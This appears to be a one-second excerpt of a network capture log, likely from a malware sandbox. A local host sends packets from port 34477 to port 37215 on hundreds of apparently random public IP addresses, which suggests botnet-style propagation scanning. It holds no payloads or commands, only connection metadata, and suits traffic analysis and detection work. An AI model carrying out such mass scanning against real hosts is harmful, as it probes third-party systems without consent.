Jul 20, 2024 23:00:58.232269049 CEST	37215	34477	197.247.106.185	192.168.2.23
Jul 20, 2024 23:00:58.232462883 CEST	37215	34477	197.67.179.143	192.168.2.23
Jul 20, 2024 23:00:58.232559919 CEST	37215	34477	41.96.218.16	192.168.2.23
Jul 20, 2024 23:00:58.232589960 CEST	37215	34477	169.239.10.111	192.168.2.23
Jul 20, 2024 23:00:58.232636929 CEST	37215	34477	41.124.14.171	192.168.2.23
Jul 20, 2024 23:00:58.232640982 CEST	34477	37215	192.168.2.23	197.26.114.175
Jul 20, 2024 23:00:58.232640982 CEST	34477	37215	192.168.2.23	81.147.177.5
Jul 20, 2024 23:00:58.232640982 CEST	34477	37215	192.168.2.23	197.67.79.4
Jul 20, 2024 23:00:58.232640982 CEST	34477	37215	192.168.2.23	157.54.130.2
Jul 20, 2024 23:00:58.232640982 CEST	34477	37215	192.168.2.23	197.176.41.115
Jul 20, 2024 23:00:58.232640982 CEST	34477	37215	192.168.2.23	217.159.91.139
Jul 20, 2024 23:00:58.232640982 CEST	34477	37215	192.168.2.23	64.62.112.142
Jul 20, 2024 23:00:58.232640982 CEST	34477	37215	192.168.2.23	1.70.219.104
Jul 20, 2024 23:00:58.232666969 CEST	37215	34477	197.112.222.157	192.168.2.23
Jul 20, 2024 23:00:58.232737064 CEST	37215	34477	143.28.80.1	192.168.2.23
Jul 20, 2024 23:00:58.232767105 CEST	37215	34477	197.241.127.58	192.168.2.23
Jul 20, 2024 23:00:58.232819080 CEST	37215	34477	157.8.46.59	192.168.2.23
Jul 20, 2024 23:00:58.232888937 CEST	34477	37215	192.168.2.23	41.224.244.226
Jul 20, 2024 23:00:58.232889891 CEST	34477	37215	192.168.2.23	155.28.185.96
Jul 20, 2024 23:00:58.232889891 CEST	34477	37215	192.168.2.23	91.110.161.158
Jul 20, 2024 23:00:58.232889891 CEST	34477	37215	192.168.2.23	41.191.248.36
Jul 20, 2024 23:00:58.232889891 CEST	34477	37215	192.168.2.23	197.71.69.91
Jul 20, 2024 23:00:58.232889891 CEST	34477	37215	192.168.2.23	140.34.44.126
Jul 20, 2024 23:00:58.232889891 CEST	34477	37215	192.168.2.23	89.73.227.199
Jul 20, 2024 23:00:58.232889891 CEST	34477	37215	192.168.2.23	41.99.7.194
Jul 20, 2024 23:00:58.232950926 CEST	37215	34477	157.174.150.26	192.168.2.23
Jul 20, 2024 23:00:58.232980967 CEST	37215	34477	197.244.173.225	192.168.2.23
Jul 20, 2024 23:00:58.233014107 CEST	37215	34477	157.86.250.128	192.168.2.23
Jul 20, 2024 23:00:58.233042955 CEST	37215	34477	41.53.184.177	192.168.2.23
Jul 20, 2024 23:00:58.233211040 CEST	34477	37215	192.168.2.23	197.213.172.133
Jul 20, 2024 23:00:58.233211040 CEST	34477	37215	192.168.2.23	221.83.41.173
Jul 20, 2024 23:00:58.233211040 CEST	34477	37215	192.168.2.23	41.33.245.21
Jul 20, 2024 23:00:58.233211040 CEST	34477	37215	192.168.2.23	41.160.207.169
Jul 20, 2024 23:00:58.233211040 CEST	34477	37215	192.168.2.23	197.67.179.143
Jul 20, 2024 23:00:58.233211040 CEST	34477	37215	192.168.2.23	197.241.127.58
Jul 20, 2024 23:00:58.233269930 CEST	37215	34477	41.37.144.8	192.168.2.23
Jul 20, 2024 23:00:58.233442068 CEST	37215	34477	157.43.107.32	192.168.2.23
Jul 20, 2024 23:00:58.233509064 CEST	37215	34477	197.12.37.150	192.168.2.23
Jul 20, 2024 23:00:58.233537912 CEST	37215	34477	158.165.91.44	192.168.2.23
Jul 20, 2024 23:00:58.233566046 CEST	37215	34477	72.48.156.196	192.168.2.23
Jul 20, 2024 23:00:58.233757019 CEST	37215	34477	157.75.190.222	192.168.2.23
Jul 20, 2024 23:00:58.233788013 CEST	37215	34477	157.53.103.29	192.168.2.23
Jul 20, 2024 23:00:58.233820915 CEST	37215	34477	41.47.64.65	192.168.2.23
Jul 20, 2024 23:00:58.233850956 CEST	37215	34477	197.241.179.191	192.168.2.23
Jul 20, 2024 23:00:58.233927965 CEST	34477	37215	192.168.2.23	197.229.227.49
Jul 20, 2024 23:00:58.233927965 CEST	34477	37215	192.168.2.23	157.59.116.210
Jul 20, 2024 23:00:58.233927965 CEST	34477	37215	192.168.2.23	157.234.41.166
Jul 20, 2024 23:00:58.233928919 CEST	34477	37215	192.168.2.23	41.50.33.93
Jul 20, 2024 23:00:58.233928919 CEST	34477	37215	192.168.2.23	41.229.84.234
Jul 20, 2024 23:00:58.233928919 CEST	34477	37215	192.168.2.23	97.43.136.85
Jul 20, 2024 23:00:58.233928919 CEST	34477	37215	192.168.2.23	197.10.234.194
Jul 20, 2024 23:00:58.233982086 CEST	37215	34477	197.58.83.134	192.168.2.23
Jul 20, 2024 23:00:58.234013081 CEST	37215	34477	139.165.159.227	192.168.2.23
Jul 20, 2024 23:00:58.234113932 CEST	37215	34477	157.23.56.129	192.168.2.23
Jul 20, 2024 23:00:58.234146118 CEST	37215	34477	197.251.31.217	192.168.2.23
Jul 20, 2024 23:00:58.234198093 CEST	37215	34477	197.137.254.119	192.168.2.23
Jul 20, 2024 23:00:58.234232903 CEST	37215	34477	157.251.206.76	192.168.2.23
Jul 20, 2024 23:00:58.234302998 CEST	37215	34477	41.241.135.76	192.168.2.23
Jul 20, 2024 23:00:58.234591961 CEST	37215	34477	157.109.181.179	192.168.2.23
Jul 20, 2024 23:00:58.234621048 CEST	37215	34477	43.169.90.245	192.168.2.23
Jul 20, 2024 23:00:58.234767914 CEST	34477	37215	192.168.2.23	41.24.59.198
Jul 20, 2024 23:00:58.234767914 CEST	34477	37215	192.168.2.23	197.196.77.201
Jul 20, 2024 23:00:58.234767914 CEST	34477	37215	192.168.2.23	157.32.103.4
Jul 20, 2024 23:00:58.234767914 CEST	34477	37215	192.168.2.23	157.243.7.84
Jul 20, 2024 23:00:58.234767914 CEST	34477	37215	192.168.2.23	197.95.169.228
Jul 20, 2024 23:00:58.234769106 CEST	34477	37215	192.168.2.23	197.75.123.93
Jul 20, 2024 23:00:58.234769106 CEST	34477	37215	192.168.2.23	197.67.20.2
Jul 20, 2024 23:00:58.234769106 CEST	34477	37215	192.168.2.23	197.99.9.223
Jul 20, 2024 23:00:58.234786034 CEST	37215	34477	197.194.145.174	192.168.2.23
Jul 20, 2024 23:00:58.234842062 CEST	34477	37215	192.168.2.23	197.187.63.186
Jul 20, 2024 23:00:58.234842062 CEST	34477	37215	192.168.2.23	157.167.245.12
Jul 20, 2024 23:00:58.234842062 CEST	34477	37215	192.168.2.23	197.35.57.182
Jul 20, 2024 23:00:58.234842062 CEST	34477	37215	192.168.2.23	197.118.130.41
Jul 20, 2024 23:00:58.234842062 CEST	34477	37215	192.168.2.23	41.78.37.100
Jul 20, 2024 23:00:58.234842062 CEST	34477	37215	192.168.2.23	197.74.184.130
Jul 20, 2024 23:00:58.234842062 CEST	34477	37215	192.168.2.23	197.194.243.184
Jul 20, 2024 23:00:58.234842062 CEST	34477	37215	192.168.2.23	157.72.248.222
Jul 20, 2024 23:00:58.235057116 CEST	34477	37215	192.168.2.23	158.165.91.44
Jul 20, 2024 23:00:58.235057116 CEST	34477	37215	192.168.2.23	157.75.190.222
Jul 20, 2024 23:00:58.235057116 CEST	34477	37215	192.168.2.23	197.58.83.134
Jul 20, 2024 23:00:58.235057116 CEST	34477	37215	192.168.2.23	157.23.56.129
Jul 20, 2024 23:00:58.235057116 CEST	34477	37215	192.168.2.23	41.241.135.76
Jul 20, 2024 23:00:58.235058069 CEST	34477	37215	192.168.2.23	43.169.90.245
Jul 20, 2024 23:00:58.235179901 CEST	37215	34477	195.225.222.112	192.168.2.23
Jul 20, 2024 23:00:58.235225916 CEST	37215	34477	41.245.116.58	192.168.2.23
Jul 20, 2024 23:00:58.235258102 CEST	37215	34477	72.152.128.124	192.168.2.23
Jul 20, 2024 23:00:58.235349894 CEST	37215	34477	197.21.129.208	192.168.2.23
Jul 20, 2024 23:00:58.235382080 CEST	37215	34477	198.69.140.160	192.168.2.23
Jul 20, 2024 23:00:58.235413074 CEST	37215	34477	197.160.117.109	192.168.2.23
Jul 20, 2024 23:00:58.235443115 CEST	37215	34477	41.132.51.195	192.168.2.23
Jul 20, 2024 23:00:58.235476971 CEST	37215	34477	41.184.89.253	192.168.2.23
Jul 20, 2024 23:00:58.235507965 CEST	37215	34477	157.24.24.246	192.168.2.23
Jul 20, 2024 23:00:58.235791922 CEST	37215	34477	157.223.197.130	192.168.2.23
Jul 20, 2024 23:00:58.235860109 CEST	37215	34477	118.76.56.217	192.168.2.23
Jul 20, 2024 23:00:58.235891104 CEST	37215	34477	197.187.1.61	192.168.2.23
Jul 20, 2024 23:00:58.235955954 CEST	37215	34477	41.240.87.211	192.168.2.23
Jul 20, 2024 23:00:58.235985041 CEST	37215	34477	103.34.160.230	192.168.2.23
Jul 20, 2024 23:00:58.236115932 CEST	34477	37215	192.168.2.23	195.225.222.112
Jul 20, 2024 23:00:58.236115932 CEST	34477	37215	192.168.2.23	197.21.129.208
Jul 20, 2024 23:00:58.236133099 CEST	37215	34477	170.47.187.157	192.168.2.23
Jul 20, 2024 23:00:58.236186028 CEST	37215	34477	107.136.23.140	192.168.2.23
Jul 20, 2024 23:00:58.236215115 CEST	37215	34477	219.159.165.91	192.168.2.23
Jul 20, 2024 23:00:58.236249924 CEST	37215	34477	41.232.172.92	192.168.2.23
Jul 20, 2024 23:00:58.236280918 CEST	37215	34477	197.252.90.201	192.168.2.23
Jul 20, 2024 23:00:58.236502886 CEST	37215	34477	150.124.88.37	192.168.2.23
Jul 20, 2024 23:00:58.236556053 CEST	34477	37215	192.168.2.23	197.132.243.55
Jul 20, 2024 23:00:58.236556053 CEST	34477	37215	192.168.2.23	157.73.230.79
Jul 20, 2024 23:00:58.236556053 CEST	34477	37215	192.168.2.23	157.129.226.209
Jul 20, 2024 23:00:58.236556053 CEST	34477	37215	192.168.2.23	197.235.150.198
Jul 20, 2024 23:00:58.236556053 CEST	34477	37215	192.168.2.23	41.130.229.37
Jul 20, 2024 23:00:58.236556053 CEST	34477	37215	192.168.2.23	41.156.85.195
Jul 20, 2024 23:00:58.236556053 CEST	34477	37215	192.168.2.23	157.143.234.224
Jul 20, 2024 23:00:58.236556053 CEST	34477	37215	192.168.2.23	197.197.73.14
Jul 20, 2024 23:00:58.236629009 CEST	34477	37215	192.168.2.23	41.222.48.132
Jul 20, 2024 23:00:58.236629009 CEST	34477	37215	192.168.2.23	197.217.22.246
Jul 20, 2024 23:00:58.236629009 CEST	34477	37215	192.168.2.23	197.37.15.231
Jul 20, 2024 23:00:58.236629009 CEST	34477	37215	192.168.2.23	197.182.113.83
Jul 20, 2024 23:00:58.236629009 CEST	34477	37215	192.168.2.23	157.90.253.17
Jul 20, 2024 23:00:58.236629009 CEST	34477	37215	192.168.2.23	43.131.249.62
Jul 20, 2024 23:00:58.236629009 CEST	34477	37215	192.168.2.23	41.48.165.8
Jul 20, 2024 23:00:58.236629009 CEST	34477	37215	192.168.2.23	197.19.12.241
Jul 20, 2024 23:00:58.236701965 CEST	34477	37215	192.168.2.23	219.159.165.91
Jul 20, 2024 23:00:58.237441063 CEST	37215	34477	41.216.133.169	192.168.2.23
Jul 20, 2024 23:00:58.237483978 CEST	37215	34477	197.168.86.78	192.168.2.23
Jul 20, 2024 23:00:58.237497091 CEST	34477	37215	192.168.2.23	41.216.133.169
Jul 20, 2024 23:00:58.237514019 CEST	37215	34477	198.189.132.142	192.168.2.23
Jul 20, 2024 23:00:58.237543106 CEST	37215	34477	157.20.27.216	192.168.2.23
Jul 20, 2024 23:00:58.237572908 CEST	37215	34477	157.77.208.129	192.168.2.23
Jul 20, 2024 23:00:58.237607956 CEST	37215	34477	41.124.29.47	192.168.2.23
Jul 20, 2024 23:00:58.237664938 CEST	37215	34477	196.108.213.184	192.168.2.23
Jul 20, 2024 23:00:58.237832069 CEST	34477	37215	192.168.2.23	197.50.46.65
Jul 20, 2024 23:00:58.237832069 CEST	34477	37215	192.168.2.23	209.253.85.199
Jul 20, 2024 23:00:58.237832069 CEST	34477	37215	192.168.2.23	197.17.32.247
Jul 20, 2024 23:00:58.237832069 CEST	34477	37215	192.168.2.23	25.6.33.130
Jul 20, 2024 23:00:58.237832069 CEST	34477	37215	192.168.2.23	197.115.124.156
Jul 20, 2024 23:00:58.237832069 CEST	34477	37215	192.168.2.23	197.92.201.180
Jul 20, 2024 23:00:58.237832069 CEST	34477	37215	192.168.2.23	197.133.25.253
Jul 20, 2024 23:00:58.237832069 CEST	34477	37215	192.168.2.23	157.225.33.253
Jul 20, 2024 23:00:58.238123894 CEST	37215	34477	77.13.19.125	192.168.2.23
Jul 20, 2024 23:00:58.238153934 CEST	37215	34477	157.211.77.112	192.168.2.23
Jul 20, 2024 23:00:58.238183022 CEST	37215	34477	41.248.83.42	192.168.2.23
Jul 20, 2024 23:00:58.238212109 CEST	37215	34477	41.20.53.198	192.168.2.23
Jul 20, 2024 23:00:58.238295078 CEST	37215	34477	198.254.9.254	192.168.2.23
Jul 20, 2024 23:00:58.238325119 CEST	37215	34477	41.189.194.244	192.168.2.23
Jul 20, 2024 23:00:58.238353014 CEST	37215	34477	157.115.232.41	192.168.2.23
Jul 20, 2024 23:00:58.238382101 CEST	37215	34477	84.167.140.65	192.168.2.23
Jul 20, 2024 23:00:58.238409996 CEST	37215	34477	157.153.207.206	192.168.2.23
Jul 20, 2024 23:00:58.238462925 CEST	37215	34477	41.231.235.189	192.168.2.23
Jul 20, 2024 23:00:58.238492966 CEST	37215	34477	157.222.120.169	192.168.2.23
Jul 20, 2024 23:00:58.238521099 CEST	37215	34477	41.20.92.100	192.168.2.23
Jul 20, 2024 23:00:58.238554001 CEST	37215	34477	41.75.227.101	192.168.2.23
Jul 20, 2024 23:00:58.238698959 CEST	34477	37215	192.168.2.23	197.77.47.158
Jul 20, 2024 23:00:58.238698959 CEST	34477	37215	192.168.2.23	25.19.64.41
Jul 20, 2024 23:00:58.238698959 CEST	34477	37215	192.168.2.23	190.161.188.69
Jul 20, 2024 23:00:58.238698959 CEST	34477	37215	192.168.2.23	41.50.145.107
Jul 20, 2024 23:00:58.238698959 CEST	34477	37215	192.168.2.23	197.209.84.96
Jul 20, 2024 23:00:58.238698959 CEST	34477	37215	192.168.2.23	41.13.46.200
Jul 20, 2024 23:00:58.238698959 CEST	34477	37215	192.168.2.23	163.95.87.60
Jul 20, 2024 23:00:58.238698959 CEST	34477	37215	192.168.2.23	157.63.197.170
Jul 20, 2024 23:00:58.239165068 CEST	34477	37215	192.168.2.23	41.126.189.157
Jul 20, 2024 23:00:58.239165068 CEST	34477	37215	192.168.2.23	41.144.198.102
Jul 20, 2024 23:00:58.239165068 CEST	34477	37215	192.168.2.23	157.198.81.69
Jul 20, 2024 23:00:58.239165068 CEST	34477	37215	192.168.2.23	19.199.208.241
Jul 20, 2024 23:00:58.239165068 CEST	34477	37215	192.168.2.23	51.142.141.117
Jul 20, 2024 23:00:58.239166021 CEST	34477	37215	192.168.2.23	197.28.251.253
Jul 20, 2024 23:00:58.239166021 CEST	34477	37215	192.168.2.23	197.247.217.62
Jul 20, 2024 23:00:58.239166021 CEST	34477	37215	192.168.2.23	41.239.125.129
Jul 20, 2024 23:00:58.239191055 CEST	37215	34477	157.213.175.190	192.168.2.23
Jul 20, 2024 23:00:58.239236116 CEST	37215	34477	157.113.160.230	192.168.2.23
Jul 20, 2024 23:00:58.239267111 CEST	37215	34477	41.75.68.114	192.168.2.23
Jul 20, 2024 23:00:58.239326000 CEST	37215	34477	41.128.110.44	192.168.2.23
Jul 20, 2024 23:00:58.239356041 CEST	37215	34477	157.129.228.162	192.168.2.23
Jul 20, 2024 23:00:58.239384890 CEST	37215	34477	41.224.244.226	192.168.2.23
Jul 20, 2024 23:00:58.239413977 CEST	37215	34477	157.159.217.82	192.168.2.23
Jul 20, 2024 23:00:58.239444017 CEST	37215	34477	197.26.114.175	192.168.2.23
Jul 20, 2024 23:00:58.239473104 CEST	37215	34477	157.30.105.107	192.168.2.23
Jul 20, 2024 23:00:58.239500999 CEST	37215	34477	81.147.177.5	192.168.2.23
Jul 20, 2024 23:00:58.239556074 CEST	37215	34477	67.15.208.48	192.168.2.23
Jul 20, 2024 23:00:58.239586115 CEST	37215	34477	110.243.142.209	192.168.2.23
Jul 20, 2024 23:00:58.239619970 CEST	37215	34477	157.134.191.30	192.168.2.23
Jul 20, 2024 23:00:58.239708900 CEST	34477	37215	192.168.2.23	58.150.96.208
Jul 20, 2024 23:00:58.239708900 CEST	34477	37215	192.168.2.23	157.170.103.64
Jul 20, 2024 23:00:58.239708900 CEST	34477	37215	192.168.2.23	41.24.39.230
Jul 20, 2024 23:00:58.239708900 CEST	34477	37215	192.168.2.23	157.77.213.179
Jul 20, 2024 23:00:58.239708900 CEST	34477	37215	192.168.2.23	88.195.110.211
Jul 20, 2024 23:00:58.239708900 CEST	34477	37215	192.168.2.23	157.121.143.8
Jul 20, 2024 23:00:58.239708900 CEST	34477	37215	192.168.2.23	169.239.10.111
Jul 20, 2024 23:00:58.239708900 CEST	34477	37215	192.168.2.23	197.12.37.150
Jul 20, 2024 23:00:58.239739895 CEST	37215	34477	41.166.159.225	192.168.2.23
Jul 20, 2024 23:00:58.240737915 CEST	37215	34477	197.187.63.186	192.168.2.23
Jul 20, 2024 23:00:58.240813971 CEST	37215	34477	157.167.245.12	192.168.2.23
Jul 20, 2024 23:00:58.240844011 CEST	37215	34477	41.24.59.198	192.168.2.23
Jul 20, 2024 23:00:58.240873098 CEST	37215	34477	197.196.77.201	192.168.2.23
Jul 20, 2024 23:00:58.240931988 CEST	37215	34477	157.32.103.4	192.168.2.23
Jul 20, 2024 23:00:58.240962029 CEST	37215	34477	197.35.57.182	192.168.2.23
Jul 20, 2024 23:00:58.240978956 CEST	34477	37215	192.168.2.23	157.230.88.31
Jul 20, 2024 23:00:58.240978956 CEST	34477	37215	192.168.2.23	157.207.43.131
Jul 20, 2024 23:00:58.240978956 CEST	34477	37215	192.168.2.23	157.210.25.215
Jul 20, 2024 23:00:58.240978956 CEST	34477	37215	192.168.2.23	157.71.150.37
Jul 20, 2024 23:00:58.240979910 CEST	34477	37215	192.168.2.23	41.178.183.186
Jul 20, 2024 23:00:58.240979910 CEST	34477	37215	192.168.2.23	157.231.240.156
Jul 20, 2024 23:00:58.240979910 CEST	34477	37215	192.168.2.23	143.28.80.1
Jul 20, 2024 23:00:58.240979910 CEST	34477	37215	192.168.2.23	157.174.150.26
Jul 20, 2024 23:00:58.241131067 CEST	37215	34477	157.243.7.84	192.168.2.23
Jul 20, 2024 23:00:58.241641045 CEST	37215	34477	197.118.130.41	192.168.2.23
Jul 20, 2024 23:00:58.241700888 CEST	37215	34477	197.95.169.228	192.168.2.23
Jul 20, 2024 23:00:58.241729975 CEST	37215	34477	41.78.37.100	192.168.2.23
Jul 20, 2024 23:00:58.241760969 CEST	37215	34477	197.74.184.130	192.168.2.23
Jul 20, 2024 23:00:58.241791010 CEST	37215	34477	197.75.123.93	192.168.2.23
Jul 20, 2024 23:00:58.241818905 CEST	37215	34477	197.194.243.184	192.168.2.23
Jul 20, 2024 23:00:58.241847992 CEST	34477	37215	192.168.2.23	197.65.44.128
Jul 20, 2024 23:00:58.241847992 CEST	37215	34477	197.67.20.2	192.168.2.23
Jul 20, 2024 23:00:58.241847992 CEST	34477	37215	192.168.2.23	197.6.34.101
Jul 20, 2024 23:00:58.241847992 CEST	34477	37215	192.168.2.23	41.123.9.56
Jul 20, 2024 23:00:58.241847992 CEST	34477	37215	192.168.2.23	157.234.59.179
Jul 20, 2024 23:00:58.241847992 CEST	34477	37215	192.168.2.23	41.41.122.187
Jul 20, 2024 23:00:58.241847992 CEST	34477	37215	192.168.2.23	8.108.207.220
Jul 20, 2024 23:00:58.241847992 CEST	34477	37215	192.168.2.23	41.138.150.155
Jul 20, 2024 23:00:58.241847992 CEST	34477	37215	192.168.2.23	41.96.218.16
Jul 20, 2024 23:00:58.241877079 CEST	37215	34477	157.72.248.222	192.168.2.23
Jul 20, 2024 23:00:58.241910934 CEST	37215	34477	197.99.9.223	192.168.2.23
Jul 20, 2024 23:00:58.241964102 CEST	37215	34477	197.67.79.4	192.168.2.23
Jul 20, 2024 23:00:58.241998911 CEST	37215	34477	155.28.185.96	192.168.2.23
Jul 20, 2024 23:00:58.242069006 CEST	37215	34477	157.54.130.2	192.168.2.23
Jul 20, 2024 23:00:58.242103100 CEST	37215	34477	197.229.227.49	192.168.2.23
Jul 20, 2024 23:00:58.242172003 CEST	37215	34477	197.132.243.55	192.168.2.23
Jul 20, 2024 23:00:58.242877007 CEST	37215	34477	157.73.230.79	192.168.2.23
Jul 20, 2024 23:00:58.242923021 CEST	37215	34477	91.110.161.158	192.168.2.23
Jul 20, 2024 23:00:58.242953062 CEST	37215	34477	157.129.226.209	192.168.2.23
Jul 20, 2024 23:00:58.242983103 CEST	37215	34477	41.222.48.132	192.168.2.23
Jul 20, 2024 23:00:58.243012905 CEST	37215	34477	41.191.248.36	192.168.2.23
Jul 20, 2024 23:00:58.243092060 CEST	37215	34477	157.230.177.125	192.168.2.23
Jul 20, 2024 23:00:58.243124008 CEST	37215	34477	197.71.69.91	192.168.2.23
Jul 20, 2024 23:00:58.243160009 CEST	37215	34477	157.59.116.210	192.168.2.23
Jul 20, 2024 23:00:58.243204117 CEST	34477	37215	192.168.2.23	72.48.156.196
Jul 20, 2024 23:00:58.243204117 CEST	34477	37215	192.168.2.23	157.53.103.29
Jul 20, 2024 23:00:58.243204117 CEST	34477	37215	192.168.2.23	197.241.179.191
Jul 20, 2024 23:00:58.243204117 CEST	34477	37215	192.168.2.23	157.109.181.179
Jul 20, 2024 23:00:58.243204117 CEST	34477	37215	192.168.2.23	72.152.128.124
Jul 20, 2024 23:00:58.243204117 CEST	34477	37215	192.168.2.23	198.69.140.160
Jul 20, 2024 23:00:58.243205070 CEST	34477	37215	192.168.2.23	170.47.187.157
Jul 20, 2024 23:00:58.243205070 CEST	34477	37215	192.168.2.23	198.189.132.142
Jul 20, 2024 23:00:58.243649006 CEST	37215	34477	140.34.44.126	192.168.2.23
Jul 20, 2024 23:00:58.243868113 CEST	37215	34477	197.217.22.246	192.168.2.23
Jul 20, 2024 23:00:58.243896961 CEST	37215	34477	197.235.150.198	192.168.2.23
Jul 20, 2024 23:00:58.243927002 CEST	37215	34477	197.37.15.231	192.168.2.23
Jul 20, 2024 23:00:58.243956089 CEST	37215	34477	89.73.227.199	192.168.2.23
Jul 20, 2024 23:00:58.243984938 CEST	37215	34477	41.130.229.37	192.168.2.23
Jul 20, 2024 23:00:58.244014025 CEST	37215	34477	197.176.41.115	192.168.2.23
Jul 20, 2024 23:00:58.244049072 CEST	37215	34477	41.99.7.194	192.168.2.23
Jul 20, 2024 23:00:58.244077921 CEST	37215	34477	217.159.91.139	192.168.2.23
Jul 20, 2024 23:00:58.244112015 CEST	37215	34477	197.50.46.65	192.168.2.23
Jul 20, 2024 23:00:58.244271994 CEST	34477	37215	192.168.2.23	206.176.8.137
Jul 20, 2024 23:00:58.244271994 CEST	34477	37215	192.168.2.23	1.136.199.61
Jul 20, 2024 23:00:58.244271994 CEST	34477	37215	192.168.2.23	41.190.181.48
Jul 20, 2024 23:00:58.244271994 CEST	34477	37215	192.168.2.23	197.233.33.61
Jul 20, 2024 23:00:58.244271994 CEST	34477	37215	192.168.2.23	113.30.251.105
Jul 20, 2024 23:00:58.244271994 CEST	34477	37215	192.168.2.23	157.51.198.43
Jul 20, 2024 23:00:58.244271994 CEST	34477	37215	192.168.2.23	41.132.20.65
Jul 20, 2024 23:00:58.244271994 CEST	34477	37215	192.168.2.23	157.5.83.65
Jul 20, 2024 23:00:58.244282007 CEST	37215	34477	64.62.112.142	192.168.2.23
Jul 20, 2024 23:00:58.244334936 CEST	34477	37215	192.168.2.23	157.249.16.252
Jul 20, 2024 23:00:58.244334936 CEST	34477	37215	192.168.2.23	157.139.28.102
Jul 20, 2024 23:00:58.244334936 CEST	34477	37215	192.168.2.23	157.187.188.100
Jul 20, 2024 23:00:58.244334936 CEST	34477	37215	192.168.2.23	197.36.116.167
Jul 20, 2024 23:00:58.244334936 CEST	34477	37215	192.168.2.23	197.173.93.85
Jul 20, 2024 23:00:58.244334936 CEST	34477	37215	192.168.2.23	41.39.168.222
Jul 20, 2024 23:00:58.244334936 CEST	34477	37215	192.168.2.23	41.215.110.81
Jul 20, 2024 23:00:58.244335890 CEST	34477	37215	192.168.2.23	157.34.104.183
Jul 20, 2024 23:00:58.244509935 CEST	37215	34477	41.156.85.195	192.168.2.23
Jul 20, 2024 23:00:58.244709969 CEST	34477	37215	192.168.2.23	197.12.203.6
Jul 20, 2024 23:00:58.244709969 CEST	34477	37215	192.168.2.23	157.63.143.206
Jul 20, 2024 23:00:58.244709969 CEST	47690	8081	192.168.2.23	186.199.72.114
Jul 20, 2024 23:00:58.244709969 CEST	34477	37215	192.168.2.23	137.33.55.254
Jul 20, 2024 23:00:58.244709969 CEST	34477	37215	192.168.2.23	139.13.89.177
Jul 20, 2024 23:00:58.244709969 CEST	34477	37215	192.168.2.23	197.175.112.209
Jul 20, 2024 23:00:58.244709969 CEST	34477	37215	192.168.2.23	197.92.38.185
Jul 20, 2024 23:00:58.244709969 CEST	34477	37215	192.168.2.23	41.242.166.123
Jul 20, 2024 23:00:58.244932890 CEST	37215	34477	197.77.47.158	192.168.2.23
Jul 20, 2024 23:00:58.244976044 CEST	37215	34477	1.70.219.104	192.168.2.23
Jul 20, 2024 23:00:58.245007038 CEST	37215	34477	209.253.85.199	192.168.2.23
Jul 20, 2024 23:00:58.245064020 CEST	37215	34477	157.234.41.166	192.168.2.23
Jul 20, 2024 23:00:58.245095015 CEST	37215	34477	157.143.234.224	192.168.2.23
Jul 20, 2024 23:00:58.245124102 CEST	37215	34477	197.17.32.247	192.168.2.23
Jul 20, 2024 23:00:58.245152950 CEST	37215	34477	41.50.33.93	192.168.2.23
Jul 20, 2024 23:00:58.245182037 CEST	37215	34477	197.197.73.14	192.168.2.23
Jul 20, 2024 23:00:58.245213032 CEST	37215	34477	197.182.113.83	192.168.2.23
Jul 20, 2024 23:00:58.245268106 CEST	37215	34477	41.126.189.157	192.168.2.23
Jul 20, 2024 23:00:58.245300055 CEST	37215	34477	41.229.84.234	192.168.2.23
Jul 20, 2024 23:00:58.245327950 CEST	34477	37215	192.168.2.23	155.165.181.96
Jul 20, 2024 23:00:58.245327950 CEST	34477	37215	192.168.2.23	41.12.12.126
Jul 20, 2024 23:00:58.245327950 CEST	34477	37215	192.168.2.23	157.229.17.57
Jul 20, 2024 23:00:58.245327950 CEST	34477	37215	192.168.2.23	197.124.34.30
Jul 20, 2024 23:00:58.245327950 CEST	34477	37215	192.168.2.23	41.203.224.247
Jul 20, 2024 23:00:58.245327950 CEST	34477	37215	192.168.2.23	157.115.23.92
Jul 20, 2024 23:00:58.245327950 CEST	34477	37215	192.168.2.23	197.236.128.48
Jul 20, 2024 23:00:58.245327950 CEST	34477	37215	192.168.2.23	41.244.169.9
Jul 20, 2024 23:00:58.245332003 CEST	37215	34477	58.150.96.208	192.168.2.23
Jul 20, 2024 23:00:58.245363951 CEST	37215	34477	157.90.253.17	192.168.2.23
Jul 20, 2024 23:00:58.245393038 CEST	37215	34477	25.6.33.130	192.168.2.23
Jul 20, 2024 23:00:58.245423079 CEST	37215	34477	25.19.64.41	192.168.2.23
Jul 20, 2024 23:00:58.246277094 CEST	34477	37215	192.168.2.23	157.43.107.32
Jul 20, 2024 23:00:58.246277094 CEST	34477	37215	192.168.2.23	197.251.31.217
Jul 20, 2024 23:00:58.246277094 CEST	34477	37215	192.168.2.23	41.132.51.195
Jul 20, 2024 23:00:58.246277094 CEST	34477	37215	192.168.2.23	197.187.1.61
Jul 20, 2024 23:00:58.246277094 CEST	34477	37215	192.168.2.23	197.252.90.201
Jul 20, 2024 23:00:58.246277094 CEST	34477	37215	192.168.2.23	41.20.53.198
Jul 20, 2024 23:00:58.246277094 CEST	34477	37215	192.168.2.23	41.189.194.244
Jul 20, 2024 23:00:58.246277094 CEST	34477	37215	192.168.2.23	84.167.140.65
Jul 20, 2024 23:00:58.247163057 CEST	34477	37215	192.168.2.23	157.20.27.216
Jul 20, 2024 23:00:58.247163057 CEST	34477	37215	192.168.2.23	41.124.29.47
Jul 20, 2024 23:00:58.247163057 CEST	34477	37215	192.168.2.23	77.13.19.125
Jul 20, 2024 23:00:58.247163057 CEST	34477	37215	192.168.2.23	157.222.120.169
Jul 20, 2024 23:00:58.247163057 CEST	34477	37215	192.168.2.23	157.159.217.82
Jul 20, 2024 23:00:58.247163057 CEST	34477	37215	192.168.2.23	41.166.159.225
Jul 20, 2024 23:00:58.247163057 CEST	34477	37215	192.168.2.23	197.187.63.186
Jul 20, 2024 23:00:58.247163057 CEST	34477	37215	192.168.2.23	157.167.245.12
Jul 20, 2024 23:00:58.247430086 CEST	37215	34477	157.170.103.64	192.168.2.23
Jul 20, 2024 23:00:58.247473955 CEST	37215	34477	97.43.136.85	192.168.2.23
Jul 20, 2024 23:00:58.247505903 CEST	37215	34477	43.131.249.62	192.168.2.23
Jul 20, 2024 23:00:58.247556925 CEST	37215	34477	197.10.234.194	192.168.2.23
Jul 20, 2024 23:00:58.247585058 CEST	34477	37215	192.168.2.23	41.47.64.65
Jul 20, 2024 23:00:58.247585058 CEST	34477	37215	192.168.2.23	139.165.159.227
Jul 20, 2024 23:00:58.247585058 CEST	34477	37215	192.168.2.23	157.251.206.76
Jul 20, 2024 23:00:58.247585058 CEST	34477	37215	192.168.2.23	197.194.145.174
Jul 20, 2024 23:00:58.247585058 CEST	34477	37215	192.168.2.23	157.223.197.130
